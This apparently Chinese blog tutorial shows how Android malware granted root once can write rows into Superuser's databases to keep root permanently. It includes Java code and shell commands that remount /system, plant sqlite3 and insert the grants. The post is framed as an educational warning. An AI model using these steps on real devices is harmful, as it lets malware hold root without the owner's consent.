導讀:本文介紹病毒如何篡改superuser,使得用戶只是允許病毒請求的一次root權限變成允許病毒永久使用root權限。
繼續之前兩篇文章寫,如果路過的同學有疑問,請先看前兩篇
有同學說,你的Fake.apk需要把應用copy到system下才行,這是需要root權限的。如果用戶允許了你一次root請求,你當着用戶的面copy,那麼copy之後,系統會發送廣播,告知有新的apk被安裝,殺毒軟件就會發現你。
是的,這確實是個問題,但是病毒就是病毒,總會想辦法讓你病倒的,別急。
superuser把數據記錄到數據庫中,那病毒爲什麼不去修改你的數據庫呢?如果修改成功,那麼豈不是永久獲得了root權限,以後再也用不着你來批准我了,我自己批准!
很不幸,病毒如果獲得了一次root權限,那麼上面所說的事情是完全可以做到的。
我們來演示一下,我手機中裝有superuser,版本爲3.0.7
我還裝了一個re管理器
首先,我們打開re管理器,這時候re管理器請求使用root權限,superuser會彈出提示,詢問用戶是否允許
我們點擊允許之前,勾選“記住”,然後允許。
這一步是爲了獲取:應用獲得永久root權限時,應該在superuser數據庫插入什麼樣的數據。
然後我們將數據庫導出
/data/data/com.noshufou.android.su/databases下面有兩個數據庫我們需要關注
su.db
permissions.sqlite
我們以permissions.sqlite爲例,下圖爲表結構:
然後來看看病毒應該如何修改數據
病毒只需要關心幾個字段
uid,包名,應用名,exec_uid=0,exec_cmd=/system/bin/sh,allow=1
病毒如何獲得自己的包名和應用名,這個大家沒什麼疑問吧
ActivityManager.RunningAppProcessInfo中含有uid的信息
下面的代碼可以獲得當前應用的uid
- public static int getUid(Context context,String packageName){
- ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
- List<ActivityManager.RunningAppProcessInfo> runningAppProcesses = activityManager.getRunningAppProcesses();
- int size = runningAppProcesses.size();
- ActivityManager.RunningAppProcessInfo runningAppProcessInfo = null;
- for (int i = 0; i < size; i++) {
- runningAppProcessInfo = runningAppProcesses.get(i);
- if(packageName.equals(runningAppProcessInfo.processName)){
- return runningAppProcessInfo.uid;
- }
- }
- return -1;
- }
好了,這個表已經搞定了,su.db和這個幾乎一樣,也就不再演示了。
最後的問題是,如何修改手機中的數據庫,顯然,我們使用sqlite3,但是有的手機居然沒有這個問題,所以病毒很可能自己捆綁了一個,然後複製到system/bin或者system/xbin中
sqlite3從哪來?哪都有。。比如你可以從模擬器pull出來一份。
好了,全部搞定了
最終我們分兩步
1準備sqlite3這個文件,以防萬一
- prepareButton.setOnClickListener(new View.OnClickListener() {
- public void onClick(View v) {
- File dataFolder = getFilesDir();
- File sqlite = new File(dataFolder.getAbsolutePath() + "/sqlite3");
- copyFile("db/sqlite3", sqlite, mResources);
- }
- });
2申請root權限,一旦成功,那就修改數據庫
- String sqlUpdateSu = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow,dirty)" +
- "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",0,\"/system/bin/sh\",1,0) ";
- String sqlInsertPermissions = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow) " +
- "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",\"0\",\"/system/bin/sh\",\"1\") ";
- String[] commands = {"busybox mount -o remount,rw /system"
- ,"ls /system/bin/sqlite3 || ls /system/xbin/sqlite3 || busybox cp /data/data/" + packageName + "/files/sqlite3 /system/xbin/sqlite3 && chmod 777 /system/xbin/sqlite3"
- ,"busybox rm /data/data/" + packageName + "/files/sqlite3"
- ,"sqlite3 /data/data/com.noshufou.android.su/databases/su.db '" + sqlUpdateSu + "'"
- ,"sqlite3 /data/data/com.noshufou.android.su/databases/permissions.sqlite '" + sqlInsertPermissions + "' "};
執行即可
從此,病毒就脫離你的掌控了,一發不可收拾
結語
由於本博客只是用於演示,所以有些不嚴密的地方。
比如:首次使用superuser之前,它的數據庫的表可能還沒有創建,所以有些sql操作可能會失敗
我也不打算寫個完整的病毒,這樣一些人就會想着幹一些不乾淨的事情。僅供學習交流
看來大家每次批准root之後,還要去superuser中的列表看看有沒有什麼異常才行
請大家不要用root的手機隨意下載軟件,更不要以任何藉口製造任何病毒!
轉貼請保留以下鏈接
本人blog地址